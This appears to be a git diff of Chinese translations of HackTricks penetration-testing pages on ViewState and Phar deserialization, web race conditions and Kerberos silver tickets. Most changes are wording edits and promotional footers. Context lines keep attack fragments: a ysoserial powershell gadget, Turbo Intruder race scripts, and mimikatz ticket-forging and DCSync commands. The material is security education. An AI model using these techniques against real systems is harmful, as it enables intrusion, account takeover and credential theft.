* [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\
|
||||
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
||||
如果您对**黑客职业**感兴趣并且想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -215,10 +215,10 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中看到你的**公司广告**吗?或者想要访问最新版本的 PEASS 或下载 HackTricks 的 PDF 吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 您在**网络安全公司**工作吗?您想在 HackTricks 中看到您的**公司广告**吗?或者您想要访问最新版本的 PEASS 或下载 PDF 格式的 HackTricks 吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家 NFT 收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter** 上 **关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或在 **Twitter** 上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,27 +2,27 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的系统——我们正在招聘!(需要流利的波兰语书写和口语能力)。
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
**Phar**文件(PHP Archive)文件以序列化格式包含元数据,因此,在解析时,此**元数据**将被**反序列化**,你可以尝试滥用**PHP**代码中的**反序列化**漏洞。
|
||||
**Phar** 文件(PHP Archive)文件以序列化格式包含元数据,因此,在解析时,此元数据将被反序列化,你可以尝试滥用 PHP 代码中的反序列化漏洞。
|
||||
|
||||
这个特性最好的一点是,即使使用不评估PHP代码的PHP函数(如**file\_get\_contents(),fopen(),file()或file\_exists(),md5\_file(),filemtime()或filesize()**),这个反序列化也会发生。
|
||||
这个特性最好的一点是,即使使用不评估 PHP 代码的 PHP 函数(如 **file\_get\_contents()、fopen()、file() 或 file\_exists()、md5\_file()、filemtime() 或 filesize()**),这个反序列化也会发生。
|
||||
|
||||
因此,想象一种情况,你可以使用**`phar://`**协议使PHP网页获取任意文件的大小,并在代码中找到类似以下的**类**:
|
||||
因此,想象一种情况,你可以使用 **`phar://`** 协议使 PHP 网页获取任意文件的大小,并在代码中找到类似以下的**类**:
|
||||
|
||||
{% code title="vunl.php" %}
|
||||
```php
|
||||
|
@ -42,7 +42,7 @@ filesize("phar://test.phar"); #The attacker can control this path
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
您可以创建一个**phar**文件,当加载时,它将滥用这个类来执行任意命令,例如:
|
||||
您可以创建一个**phar**文件,当加载时,将滥用此类以执行任意命令,例如:
|
||||
|
||||
{% code title="create_phar.php" %}
|
||||
```php
|
||||
|
@ -85,7 +85,7 @@ php vuln.php
|
|||
|
||||
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
|
||||
|
@ -97,8 +97,8 @@ php vuln.php
|
|||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要获取**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -22,18 +22,18 @@
|
|||
|
||||
## 利用竞争条件
|
||||
|
||||
滥用竞争条件的主要问题是需要请求在非常短的时间差内并行处理(通常>1ms)。在下面的部分中,提出了不同的解决方案,以实现这一点。
|
||||
滥用竞争条件的主要问题是需要请求在非常短的时间差内并行处理(通常>1ms)。在下一节中,提出了不同的解决方案,以实现这一点。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### 单数据包攻击(HTTP/2)/ 最后一个字节同步(HTTP/1.1)
|
||||
|
||||
HTTP2允许在**单个TCP连接**中发送**2个请求**(而在HTTP/1.1中,它们必须是顺序的)。\
|
||||
使用单个TCP数据包完全**消除了网络抖动的影响**,因此这对于竞争条件攻击也具有潜力。然而,**两个请求对于可靠的竞争攻击来说是不够的**,这要归功于**服务器端抖动** - 应用程序请求处理时间的变化,由于CPU争用等不可控变量引起。
|
||||
使用单个TCP数据包可以完全**消除网络抖动的影响**,因此这对于竞争条件攻击也具有潜力。然而,**两个请求对于可靠的竞争攻击来说是不够的**,这要归功于**服务器端抖动** - 应用程序请求处理时间的变化,由于CPU争用等不可控变量引起。
|
||||
|
||||
但是,使用HTTP/1.1的'**最后一个字节同步**'技术,可以预先发送大部分数据,并保留每个请求的一个小片段,然后使用一个单个TCP数据包'完成'**20-30个请求**。
|
||||
|
||||
要**预先发送每个请求的大部分**:
|
||||
要**预先发送每个请求的大部分数据**:
|
||||
|
||||
* 如果请求没有正文,请发送所有标头,但不设置END\_STREAM标志。保留一个带有设置了END\_STREAM的空数据帧。
|
||||
* 如果请求有正文,请发送标头和除最后一个字节之外的所有正文数据。保留一个包含最后一个字节的数据帧。
|
||||
|
@ -50,19 +50,19 @@ HTTP2允许在**单个TCP连接**中发送**2个请求**(而在HTTP/1.1中,
|
|||
请注意,这**对于某些服务器上的静态文件不起作用**,但静态文件对于竞争条件攻击是无关紧要的。
|
||||
{% endhint %}
|
||||
|
||||
使用这种技术,您可以使20-30个请求同时到达服务器 - 不受网络抖动的影响:
|
||||
使用这种技术,您可以使20-30个请求同时到达服务器 - 无论网络抖动如何:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**适应目标架构**
|
||||
|
||||
值得注意的是,许多应用程序位于前端服务器后面,这些服务器可能决定将某些请求转发到后端的现有连接,并为其他请求创建新的连接。
|
||||
|
||||
因此,重要的是不要将不一致的请求时间归因于应用程序行为,例如仅允许单个线程访问资源的锁定机制。此外,前端请求路由通常是基于每个连接的,因此您可以通过在攻击之前在服务器端进行连接预热 - **在连接上发送几个无关紧要的请求**(这只是在开始实际攻击之前发送几个请求)来平滑请求时间。
|
||||
因此,重要的是不要将不一致的请求时间归因于应用程序行为,例如仅允许单个线程访问资源的锁定机制。此外,前端请求路由通常是基于每个连接的,因此您可以通过在执行攻击之前在服务器端进行连接预热 - **在连接上发送几个无关紧要的请求**(这只是在开始实际攻击之前发送几个请求)来平滑请求时间。
|
||||
|
||||
#### 基于会话的锁定机制 <a href="#session-based-locking-mechanisms" id="session-based-locking-mechanisms"></a>
|
||||
|
||||
一些框架尝试通过使用某种形式的**请求锁定**来防止意外数据损坏。例如,**PHP的本机会话处理程序**模块一次只处理**一个会话的一个请求**。
|
||||
一些框架尝试通过使用某种形式的**请求锁定**来防止意外数据损坏。例如,**PHP的本机会话处理程序**模块一次只处理**一个会话的请求**。
|
||||
|
||||
发现此类行为非常重要,因为否则它可能掩盖了可以轻松利用的漏洞。如果注意到所有请求都按顺序处理,请尝试使用不同的会话令牌发送每个请求。
|
||||
#### **滥用速率或资源限制**
|
||||
|
@ -85,7 +85,7 @@ Web服务器通常会**在发送请求过多时延迟处理**。通过发送大
|
|||
|
||||
#### 攻击示例
|
||||
|
||||
* **Tubo Intruder - HTTP2单数据包攻击(1个端点)**:您可以将请求发送到**Turbo intruder**(`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`),您可以在请求中更改要暴力破解的值为**`%s`**,例如`csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`,然后从下拉菜单中选择**`examples/race-single-packer-attack.py`**:
|
||||
* **Tubo Intruder - HTTP2单数据包攻击(1个端点)**:您可以将请求发送到**Turbo intruder**(`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`),您可以在请求中更改要暴力破解的值**`%s`**,例如`csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`,然后从下拉菜单中选择**`examples/race-single-packer-attack.py`**:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -136,7 +136,7 @@ engine.openGate(currentAttempt)
|
|||
* 对于在两个子状态步骤之间延迟处理一个请求和另一个请求,您可以在两个请求之间添加额外的请求。
|
||||
* 对于多端点的RC,您可以开始发送到隐藏状态的请求,然后在其后发送50个利用隐藏状态的请求。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### 原始BF
|
||||
|
||||
|
@ -167,17 +167,15 @@ table.add(req)
|
|||
|
||||
Python的asyncio模块是一种用于编写异步代码的库。它提供了一种方便的方式来处理并发任务,特别是在网络编程中。asyncio使用事件循环来调度和执行异步任务,这样可以避免阻塞其他任务的执行。
|
||||
|
||||
在使用asyncio进行编程时,可以使用`async`和`await`关键字来定义异步函数和异步操作。异步函数可以在执行过程中暂停并等待其他任务完成,而不会阻塞整个程序的执行。
|
||||
在使用asyncio进行编程时,可以使用`async`和`await`关键字来定义异步函数和异步操作。异步函数可以在执行过程中暂停并等待其他任务完成,然后再继续执行。这种方式可以提高程序的并发性能和响应能力。
|
||||
|
||||
使用asyncio进行编程时,可以使用`asyncio.Lock`来实现互斥锁,以避免并发访问共享资源时出现竞争条件。互斥锁可以确保在同一时间只有一个任务可以访问共享资源。
|
||||
在编写异步代码时,可能会遇到一种称为“竞态条件”的问题。竞态条件指的是多个任务在访问和修改共享资源时,由于执行顺序不确定而导致的错误结果。在Web应用程序中,竞态条件可能导致安全漏洞,例如未经授权的访问或数据泄漏。
|
||||
|
||||
然而,即使使用了互斥锁,仍然可能存在竞争条件。一种常见的竞争条件是“竞争条件”。竞争条件发生在多个任务试图同时访问和修改共享资源的情况下。如果没有适当的同步机制,这可能导致数据不一致或意外的行为。
|
||||
为了利用竞态条件进行攻击,黑客可以通过同时发送多个请求来创建一个竞态条件。例如,在一个电子商务网站中,黑客可以尝试同时购买一个商品的多个实例,以便超过库存数量。如果网站没有正确处理这种竞态条件,黑客可能会成功购买超过库存数量的商品。
|
||||
|
||||
竞争条件的一个例子是“竞态条件”。竞态条件发生在两个或多个任务试图在特定的顺序下执行操作时。如果任务之间的执行顺序不正确,可能会导致意外的结果。
|
||||
为了防止竞态条件攻击,开发人员应该在关键代码段中使用适当的同步机制,例如锁或信号量。此外,使用事务和验证输入数据的有效性也是防止竞态条件的重要步骤。
|
||||
|
||||
为了避免竞争条件,可以使用asyncio提供的其他同步机制,如`asyncio.Condition`和`asyncio.Semaphore`。这些机制可以确保任务按照预期的顺序执行,并避免竞争条件的发生。
|
||||
|
||||
总之,Python的asyncio模块提供了一种强大的方式来编写异步代码,并处理并发任务。通过使用适当的同步机制,可以避免竞争条件的发生,确保程序的正确执行。
|
||||
总结一下,Python的asyncio模块提供了一种方便的方式来编写异步代码。然而,在编写异步代码时,开发人员应该注意竞态条件可能导致的安全漏洞,并采取适当的措施来防止这些问题的发生。
|
||||
```python
|
||||
import asyncio
|
||||
import httpx
|
||||
|
@ -281,19 +279,19 @@ asyncio.run(main())
|
|||
|
||||
### 将电子邮件更改为2个电子邮件地址基于Cookie
|
||||
|
||||
根据[**此篇文章**](https://portswigger.net/research/smashing-the-state-machine),Gitlab容易受到这种方式的接管,因为它可能会将一个电子邮件的**电子邮件验证令牌发送到另一个电子邮件**。
|
||||
根据[**此篇文章**](https://portswigger.net/research/smashing-the-state-machine),Gitlab容易受到这种攻击的影响,因为它可能会将一个电子邮件的**电子邮件验证令牌发送到另一个电子邮件**。
|
||||
|
||||
您还可以查看[**此实验**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint)以了解更多信息。
|
||||
|
||||
### 隐藏的数据库状态/确认绕过
|
||||
|
||||
如果使用**2个不同的写操作**将**信息**添加到**数据库**中,那么在**只有第一个数据已写入**数据库的一小段时间内。例如,当创建用户时,**用户名**和**密码**可能会被**写入**,然后写入用于确认新创建的帐户的令牌。这意味着在一小段时间内,**确认帐户的令牌为空**。
|
||||
如果使用**2个不同的写操作**将**信息**添加到**数据库**中,那么在**只有第一个数据被写入**数据库的一小段时间内。例如,创建用户时,**用户名**和**密码**可能会被**写入**,然后写入用于确认新创建的帐户的**令牌**。这意味着在一小段时间内,**确认帐户的令牌为空**。
|
||||
|
||||
因此,**注册一个帐户并发送多个带有空令牌**(`token=`或`token[]=`或任何其他变体)的请求以立即确认帐户,可以允许确认一个您无法控制的电子邮件的帐户。
|
||||
因此,**注册一个帐户并发送多个带有空令牌**(`token=`或`token[]=`或任何其他变体)的请求以立即确认帐户,可以允许确认一个您无法控制电子邮件的帐户。
|
||||
|
||||
在[**此实验**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction)中检查一个示例。
|
||||
|
||||
### 绕过2FA
|
||||
### 绕过双因素认证
|
||||
|
||||
以下伪代码演示了一个网站如何容易受到此攻击的竞争变体:
|
||||
```python
|
||||
|
@ -334,8 +332,8 @@ session['enforce_mfa'] = True
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得最新版本的PEASS或下载PDF格式的HackTricks吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 你在**网络安全公司**工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
|
|
@ -2,17 +2,17 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家 NFT 收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 获取[**官方 PEASS 和 HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
|
||||
|
@ -22,9 +22,9 @@
|
|||
|
||||
银票攻击是基于**在拥有服务的 NTLM 哈希(如 PC 账户哈希)的情况下,构造一个有效的 TGS**。因此,可以通过伪造自定义 TGS **以任何用户的身份**获得对该服务的访问权限。
|
||||
|
||||
在这种情况下,拥有了一个计算机账户的 NTLM **哈希**(在 AD 中类似于用户账户)。因此,可以通过 SMB 服务**伪造**一个**票据**,以**管理员**权限进入该计算机。计算机账户默认每30天重置密码。
|
||||
在这种情况下,拥有了一个计算机账户的 NTLM **哈希**(在 AD 中类似于用户账户)。因此,可以通过 SMB 服务**伪造**一个**票据**,以管理员权限**进入该计算机**。计算机账户默认每30天重置密码。
|
||||
|
||||
还必须考虑到可以使用 AES Kerberos 密钥(AES128 和 AES256)**伪造票据**,这是**可能且更好的**(opsec)。要了解如何生成 AES 密钥,请阅读:[MS-KILE 的第4.4节](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-kile/936a4878-9462-4753-aac8-087cd3ca4625) 或 [Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372)。
|
||||
还必须考虑到可以使用 AES Kerberos 密钥(AES128 和 AES256)**伪造票据**(opsec)。要了解如何生成 AES 密钥,请阅读:[MS-KILE 的第4.4节](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-kile/936a4878-9462-4753-aac8-087cd3ca4625) 或 [Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372)。
|
||||
|
||||
{% code title="Linux" %}
|
||||
```bash
|
||||
|
@ -69,12 +69,12 @@ kerberos::golden /user:Administrator /domain:jurassic.park /sid:S-1-5-21-1339291
|
|||
| ---------------------------------------- | ---------------------------------------------------------------- |
|
||||
| WMI | <p>HOST</p><p>RPCSS</p> |
|
||||
| PowerShell 远程管理 | <p>HOST</p><p>HTTP</p><p>根据操作系统还可能有:</p><p>WSMAN</p><p>RPCSS</p> |
|
||||
| WinRM | <p>HOST</p><p>HTTP</p><p>在某些情况下,您可以直接请求:WINRM</p> |
|
||||
| 计划任务 | HOST |
|
||||
| WinRM | <p>HOST</p><p>HTTP</p><p>在某些情况下,您只需请求:WINRM</p> |
|
||||
| 计划任务 | HOST |
|
||||
| Windows 文件共享,也可以使用psexec | CIFS |
|
||||
| LDAP 操作,包括 DCSync | LDAP |
|
||||
| Windows 远程服务器管理工具 | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
|
||||
| 黄金票 | krbtgt |
|
||||
| Windows 远程服务器管理工具 | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
|
||||
| 黄金票 | krbtgt |
|
||||
|
||||
使用**Rubeus**,您可以使用以下参数请求所有这些票证:
|
||||
|
||||
|
@ -158,7 +158,7 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
|
|||
[dcsync.md](dcsync.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果您对**黑客职业**感兴趣并想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
|
||||
|
@ -169,7 +169,7 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
|
|||
